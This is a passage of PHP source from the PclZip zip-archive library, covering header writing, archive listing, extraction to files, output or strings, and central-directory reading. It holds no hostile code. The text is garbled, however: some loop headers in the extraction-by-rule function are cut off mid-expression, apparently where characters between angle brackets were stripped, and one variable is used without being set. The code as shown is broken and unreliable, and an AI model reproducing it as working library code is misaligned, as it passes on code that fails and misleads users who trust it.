$p_header['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file_compressed, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file_compressed); @unlink($v_gzip_temp_name); return $v_result; } function privCalculateStoredFilename(&$p_filedescr, &$p_options) { $v_result=1; $p_filename = $p_filedescr['filename']; if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; } else { $p_add_dir = ''; } if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; } else { $p_remove_dir = ''; } if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } else { $p_remove_all_dir = 0; } if (isset($p_filedescr['new_full_name'])) { $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']); } else { if (isset($p_filedescr['new_short_name'])) { $v_path_info = pathinfo($p_filename); $v_dir = ''; if ($v_path_info['dirname'] != '') { $v_dir = $v_path_info['dirname'].'/'; } $v_stored_filename = $v_dir.$p_filedescr['new_short_name']; } else { $v_stored_filename = $p_filename; } if ($p_remove_all_dir) { $v_stored_filename = basename($p_filename); } else if ($p_remove_dir != "") { if (substr($p_remove_dir, -1) != '/') $p_remove_dir .= "/"; if ( (substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) { if ( (substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) { $p_remove_dir = "./".$p_remove_dir; } if ( (substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) { $p_remove_dir = substr($p_remove_dir, 2); } } $v_compare = PclZipUtilPathInclusion($p_remove_dir, $v_stored_filename); if ($v_compare > 0) { if ($v_compare == 2) { $v_stored_filename = ""; } else { $v_stored_filename = substr($v_stored_filename, strlen($p_remove_dir)); } } } $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); if ($p_add_dir != "") { if (substr($p_add_dir, -1) == "/") $v_stored_filename = $p_add_dir.$v_stored_filename; else $v_stored_filename = $p_add_dir."/".$v_stored_filename; } } $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); $p_filedescr['stored_filename'] = $v_stored_filename; return $v_result; } function privWriteFileHeader(&$p_header) { $v_result=1; $p_header['offset'] = ftell($this->zip_fd); $v_date = getdate($p_header['mtime']); $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len']); fputs($this->zip_fd, $v_binary_data, 30); if (strlen($p_header['stored_filename']) != 0) { fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); } if ($p_header['extra_len'] != 0) { fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); } return $v_result; } function privWriteCentralFileHeader(&$p_header) { $v_result=1; $v_date = getdate($p_header['mtime']); $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, $p_header['version'], $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len'], $p_header['comment_len'], $p_header['disk'], $p_header['internal'], $p_header['external'], $p_header['offset']); fputs($this->zip_fd, $v_binary_data, 46); if (strlen($p_header['stored_filename']) != 0) { fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); } if ($p_header['extra_len'] != 0) { fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); } if ($p_header['comment_len'] != 0) { fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']); } return $v_result; } function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) { $v_result=1; $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, $p_nb_entries, $p_size, $p_offset, strlen($p_comment)); fputs($this->zip_fd, $v_binary_data, 22); if (strlen($p_comment) != 0) { fputs($this->zip_fd, $p_comment, strlen($p_comment)); } return $v_result; } function privList(&$p_list) { $v_result=1; $this->privDisableMagicQuotes(); if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); return PclZip::errorCode(); } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_central_dir['offset'])) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } for ($i=0; $i<$v_central_dir['entries']; $i++) { if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_header['index'] = $i; $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); unset($v_header); } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privConvertHeader2FileInfo($p_header, &$p_info) { $v_result=1; $v_temp_path = PclZipUtilPathReduction($p_header['filename']); $p_info['filename'] = $v_temp_path; $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']); $p_info['stored_filename'] = $v_temp_path; $p_info['size'] = $p_header['size']; $p_info['compressed_size'] = $p_header['compressed_size']; $p_info['mtime'] = $p_header['mtime']; $p_info['comment'] = $p_header['comment']; $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010); $p_info['index'] = $p_header['index']; $p_info['status'] = $p_header['status']; $p_info['crc'] = $p_header['crc']; return $v_result; } function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; $this->privDisableMagicQuotes(); if ( ($p_path == "") || ( (substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path,1,2)!=":/"))) $p_path = "./".$p_path; if (($p_path != "./") && ($p_path != "/")) { while (substr($p_path, -1) == "/") { $p_path = substr($p_path, 0, strlen($p_path)-1); } } if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) { $p_remove_path .= '/'; } $p_remove_path_size = strlen($p_remove_path); if (($v_result = $this->privOpenFd('rb')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_pos_entry = $v_central_dir['offset']; $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } $v_header = array(); if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_header['index'] = $i; $v_pos_entry = ftell($this->zip_fd); $v_extract = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_extract = true; } } elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_extract = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) { $v_extract = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { $v_extract = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { break; } } } else { $v_extract = true; } if ( ($v_extract) && ( ($v_header['compression'] != 8) && ($v_header['compression'] != 0))) { $v_header['status'] = 'unsupported_compression'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, "Filename '".$v_header['stored_filename']."' is " ."compressed by an unsupported compression " ."method (".$v_header['compression'].") "); return PclZip::errorCode(); } } if (($v_extract) && (($v_header['flag'] & 1) == 1)) { $v_header['status'] = 'unsupported_encryption'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, "Unsupported encryption for " ." filename '".$v_header['stored_filename'] ."'"); return PclZip::errorCode(); } } if (($v_extract) && ($v_header['status'] != 'ok')) { $v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++]); if ($v_result != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_extract = false; } if ($v_extract) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header['offset'])) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { $v_string = ''; $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $p_file_list[$v_nb_extracted]['content'] = $v_string; $v_nb_extracted++; if ($v_result1 == 2) { break; } } elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } else { $v_result1 = $this->privExtractFile($v_header, $p_path, $p_remove_path, $p_remove_all_path, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } } } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if ($p_remove_all_path == true) { if (($p_entry['external']&0x00000010)==0x00000010) { $p_entry['status'] = "filtered"; return $v_result; } $p_entry['filename'] = basename($p_entry['filename']); } else if ($p_remove_path != "") { if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) { $p_entry['status'] = "filtered"; return $v_result; } $p_remove_path_size = strlen($p_remove_path); if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) { $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size); } } if ($p_path != '') { $p_entry['filename'] = $p_path."/".$p_entry['filename']; } if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { $v_inclusion = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], $p_entry['filename']); if ($v_inclusion == 0) { PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, "Filename '".$p_entry['filename']."' is " ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); return PclZip::errorCode(); } } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry['status'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry['filename'] = $v_local_header['filename']; } if ($p_entry['status'] == 'ok') { if (file_exists($p_entry['filename'])) { if (is_dir($p_entry['filename'])) { $p_entry['status'] = "already_a_directory"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, "Filename '".$p_entry['filename']."' is " ."already used by an existing directory"); return PclZip::errorCode(); } } else if (!is_writeable($p_entry['filename'])) { $p_entry['status'] = "write_protected"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Filename '".$p_entry['filename']."' exists " ."and is write protected"); return PclZip::errorCode(); } } else if (filemtime($p_entry['filename']) > $p_entry['mtime']) { if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { } else { $p_entry['status'] = "newer_exist"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Newer version of '".$p_entry['filename']."' exists " ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); return PclZip::errorCode(); } } } else { } } else { if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/')) $v_dir_to_check = $p_entry['filename']; else if (!strstr($p_entry['filename'], "/")) $v_dir_to_check = ""; else $v_dir_to_check = dirname($p_entry['filename']); if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) { $p_entry['status'] = "path_creation_fail"; $v_result = 1; } } } if ($p_entry['status'] == 'ok') { if (!(($p_entry['external']&0x00000010)==0x00000010)) { if ($p_entry['compression'] == 0) { if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { $p_entry['status'] = "write_error"; return $v_result; } $v_size = $p_entry['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } fclose($v_dest_file); touch($p_entry['filename'], $p_entry['mtime']); } else { if (($p_entry['flag'] & 1) == 1) { PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.'); return PclZip::errorCode(); } if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) { $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); $v_file_content = @gzinflate($v_buffer); unset($v_buffer); if ($v_file_content === FALSE) { $p_entry['status'] = "error"; return $v_result; } if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { $p_entry['status'] = "write_error"; return $v_result; } @fwrite($v_dest_file, $v_file_content, $p_entry['size']); unset($v_file_content); @fclose($v_dest_file); } @touch($p_entry['filename'], $p_entry['mtime']); } if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]); } } } if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileUsingTempFile(&$p_entry, &$p_options) { $v_result=1; $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); @fwrite($v_dest_file, $v_binary_data, 10); $v_size = $p_entry['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']); @fwrite($v_dest_file, $v_binary_data, 8); @fclose($v_dest_file); if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { $p_entry['status'] = "write_error"; return $v_result; } if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) { @fclose($v_dest_file); $p_entry['status'] = "read_error"; PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } $v_size = $p_entry['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($v_src_file, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_dest_file); @gzclose($v_src_file); @unlink($v_gzip_temp_name); return $v_result; } function privExtractFileInOutput(&$p_entry, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry['status'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry['filename'] = $v_local_header['filename']; } if ($p_entry['status'] == 'ok') { if (!(($p_entry['external']&0x00000010)==0x00000010)) { if ($p_entry['compressed_size'] == $p_entry['size']) { $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); echo $v_buffer; unset($v_buffer); } else { $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); $v_file_content = gzinflate($v_buffer); unset($v_buffer); echo $v_file_content; unset($v_file_content); } } } if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) { $v_result=1; $v_header = array(); if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry['status'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry['filename'] = $v_local_header['filename']; } if ($p_entry['status'] == 'ok') { if (!(($p_entry['external']&0x00000010)==0x00000010)) { if ($p_entry['compression'] == 0) { $p_string = @fread($this->zip_fd, $p_entry['compressed_size']); } else { $v_data = @fread($this->zip_fd, $p_entry['compressed_size']); if (($p_string = @gzinflate($v_data)) === FALSE) { } } } else { } } if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_local_header['content'] = $p_string; $p_string = ''; $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); $p_string = $v_local_header['content']; unset($v_local_header['content']); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privReadFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack('Vid', $v_binary_data); if ($v_data['id'] != 0x04034b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 26); if (strlen($v_binary_data) != 26) { $p_header['filename'] = ""; $p_header['status'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data); $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']); if ($v_data['extra_len'] != 0) { $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']); } else { $p_header['extra'] = ''; } $p_header['version_extracted'] = $v_data['version']; $p_header['compression'] = $v_data['compression']; $p_header['size'] = $v_data['size']; $p_header['compressed_size'] = $v_data['compressed_size']; $p_header['crc'] = $v_data['crc']; $p_header['flag'] = $v_data['flag']; $p_header['filename_len'] = $v_data['filename_len']; $p_header['mdate'] = $v_data['mdate']; $p_header['mtime'] = $v_data['mtime']; if ($p_header['mdate'] && $p_header['mtime']) { $v_hour = ($p_header['mtime'] & 0xF800) >> 11; $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; $v_seconde = ($p_header['mtime'] & 0x001F)*2; $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header['mdate'] & 0x01E0) >> 5; $v_day = $p_header['mdate'] & 0x001F; $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header['mtime'] = time(); } $p_header['stored_filename'] = $p_header['filename']; $p_header['status'] = "ok"; return $v_result; } function privReadCentralFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack('Vid', $v_binary_data); if ($v_data['id'] != 0x02014b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 42); if (strlen($v_binary_data) != 42) { $p_header['filename'] = ""; $p_header['status'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data); if ($p_header['filename_len'] != 0) $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); else $p_header['filename'] = ''; if ($p_header['extra_len'] != 0) $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']); else $p_header['extra'] = ''; if ($p_header['comment_len'] != 0) $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']); else $p_header['comment'] = ''; if (1) { $v_hour = ($p_header['mtime'] & 0xF800) >> 11; $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; $v_seconde = ($p_header['mtime'] & 0x001F)*2; $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header['mdate'] & 0x01E0) >> 5; $v_day = $p_header['mdate'] & 0x001F; $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header['mtime'] = time(); } $p_header['stored_filename'] = $p_header['filename']; $p_header['status'] = 'ok'; if (substr($p_header['filename'], -1) == '/') { $p_header['external'] = 0x00000010; } return $v_result; } function privCheckFileHeaders(&$p_local_header, &$p_central_header) { $v_result=1; if ($p_local_header['filename'] != $p_central_header['filename']) { } if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) { } if ($p_local_header['flag'] != $p_central_header['flag']) { } if ($p_local_header['compression'] != $p_central_header['compression']) { } if ($p_local_header['mtime'] != $p_central_header['mtime']) { } if ($p_local_header['filename_len'] != $p_central_header['filename_len']) { } if (($p_local_header['flag'] & 8) == 8) { $p_local_header['size'] = $p_central_header['size']; $p_local_header['compressed_size'] = $p_central_header['compressed_size']; $p_local_header['crc'] = $p_central_header['crc']; } return $v_result; } function privReadEndCentralDir(&$p_central_dir) { $v_result=1; $v_size = filesize($this->zipname); @fseek($this->zip_fd, $v_size); if (@ftell($this->zip_fd) != $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\''); return PclZip::errorCode(); } $v_found = 0; if ($v_size > 26) { @fseek($this->zip_fd, $v_size-22); if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); return PclZip::errorCode(); } $v_binary_data = @fread($this->zip_fd, 4); $v_data = @unpack('Vid', $v_binary_data); if ($v_data['id'] == 0x06054b50) { $v_found = 1; } $v_pos = ftell($this->zip_fd); } if (!$v_found) { if ($v_maximum_size > $v_size) $v_maximum_size = $v_size; @fseek($this->zip_fd, $v_size-$v_maximum_size); if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); return PclZip::errorCode(); } $v_pos = ftell($this->zip_fd); $v_bytes = 0x00000000; while ($v_pos < $v_size) { $v_byte = @fread($this->zip_fd, 1); $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); if ($v_bytes == 0x504b0506) { $v_pos++; break; } $v_pos++; } if ($v_pos == $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); return PclZip::errorCode(); } } $v_binary_data = fread($this->zip_fd, 18); if (strlen($v_binary_data) != 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data); if (($v_pos + $v_data['comment_size'] + 18) != $v_size) { if (0) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'The central dir is not at the end of the archive.' .' Some trailing bytes exists after the archive.'); return PclZip::errorCode(); } } if ($v_data['comment_size'] != 0) { $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']); } else $p_central_dir['comment'] = ''; $p_central_dir['entries'] = $v_data['entries']; $p_central_dir['disk_entries'] = $v_data['disk_entries']; $p_central_dir['offset'] 